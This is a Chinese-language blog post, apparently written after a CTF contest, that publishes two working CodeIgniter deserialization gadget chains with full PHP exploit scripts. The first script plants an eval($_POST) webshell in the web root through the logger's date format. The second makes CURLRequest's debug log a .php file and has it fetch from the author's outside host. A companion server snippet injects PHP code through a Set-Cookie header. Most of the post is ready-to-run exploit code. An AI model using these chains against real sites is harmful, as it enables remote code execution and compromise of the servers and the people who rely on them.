前言
蓝帽杯结束了。该公开链子了
也不懂为啥。最近很多人把单独的链子当0day各种*。暂且不谈算不算0day。
链子不应该是配合反序列化漏洞点才算漏洞嘛???为啥单独成洞了,没漏洞点能干嘛😅
整的和挖了个框架无条件RCE一样。
第一条写文件链子:
触发点,调用任意类的close方法
懒得说啥类的close方法。你们慢慢调。
使redis类报错。进入catch调用任意类的error方法
接着log方法
然后是个抽象方法。找个具体实现方法
abstract public function log($level, $message, array $context = []);
最后找到
前面一堆判断。都可以控制。重点在最后
$handler
可控,调用setDateFormat。并且参数可控,setDateFormat方法就是返回当前对象。然后调用当前对象的handle方法。说白了。就是调用$handler
的handle方法
$handler = $this->handlers[$className];
if (!$handler->canHandle($level)) {
continue;
}
if (!$handler->setDateFormat($this->dateFormat)->handle($level, $message)) {
break;
}
最后找到了可写的点,date。当时XCTF有个题。date的注入。。用\转义字符就行。至于fileExtension为php就会添加exit。反正fileExtension都是拼接到文件路径。变个1.php拼接完就成了xxx.1.php。问题不大
EXP:
<?php
namespace CodeIgniter\Cache\Handlers{
class RedisHandler{
protected $redis;
public function __construct($redis){
$this->redis=$redis;
}
}
}
namespace CodeIgniter\Log{
class Logger{
protected $dateFormat = '\<\?\p\h\p\ \e\v\a\l\(\$\_\P\O\S\T\[\"\g\u\o\k\e\"\]\)\;\?\>';
protected $loggableLevels = ['error','critical'];
protected $handlerConfig;
public function __construct($handlerConfig,$handlers){
$this->handlerConfig=$handlerConfig;
$this->handlers=$handlers;
}
}
}
namespace CodeIgniter\Log\Handlers{
class FileHandler{
protected $path='/var/www/html/';
protected $filePermissions=0777;
protected $fileExtension='1/../b.php';
protected $handles=['error'];
}
}
namespace CodeIgniter\Session\Handlers{
class RedisHandler{
protected $redis;
protected $logger;
public function __construct($logger){
$this->redis=new \Redis();
$this->logger=$logger;
}
}
}
namespace{
use CodeIgniter\Log\Handlers\FileHandler;
use CodeIgniter\Log\Logger;
use CodeIgniter\Session\Handlers\RedisHandler as RedisHandler2;
use CodeIgniter\Cache\Handlers\RedisHandler as RedisHandler1;
$FileHandler=new FileHandler();
$Logger=new Logger(['a'=>'b'],['a'=>$FileHandler]);
$RedisHandler2=new RedisHandler2($Logger);
$RedisHandler1=new RedisHandler1($RedisHandler2);
echo urlencode(serialize($RedisHandler1));
}
第二条写文件链子:
同样的起点
调用任意delete方法。并且参数可控
调用reqeust。参数可控
具体看send方法
设置了URL。并且setCURLOptions的参数可控
这里参数可控。其实就是指定了curl的日志为xxx.php。curl访问中的信息都会保存进去
EXP:
<?php
namespace CodeIgniter\HTTP {
class CURLRequest{
protected $config = [
'timeout' => 1.0,
'connect_timeout' => 150,
'debug' => "Guoke.php",
'verify' => true,
];
}
}
namespace CodeIgniter\Session\Handlers {
class MemcachedHandler
{
public $lockKey = 'http://s.guokeya.top/2.php';
public $memcached;
public function __construct($memcached)
{
$this->memcached = $memcached;
}
}
}
namespace CodeIgniter\Cache\Handlers {
class RedisHandler
{
protected $redis;
public function __construct($redis)
{
$this->redis = $redis;
}
}
}
namespace {
use CodeIgniter\Cache\Handlers\RedisHandler;
use CodeIgniter\Session\Handlers\MemcachedHandler;
use CodeIgniter\HTTP\CURLRequest;
$CURLRequest = new CURLRequest();
$MemcachedHandler = new MemcachedHandler($CURLRequest);
$RedisHandler = new RedisHandler($MemcachedHandler);
echo urlencode(serialize($RedisHandler));
}
?>
服务器放2.php
<?php
header('Set-Cookie: test=<?php phpinfo();?>');
当然还有其他链子。这里就分享两个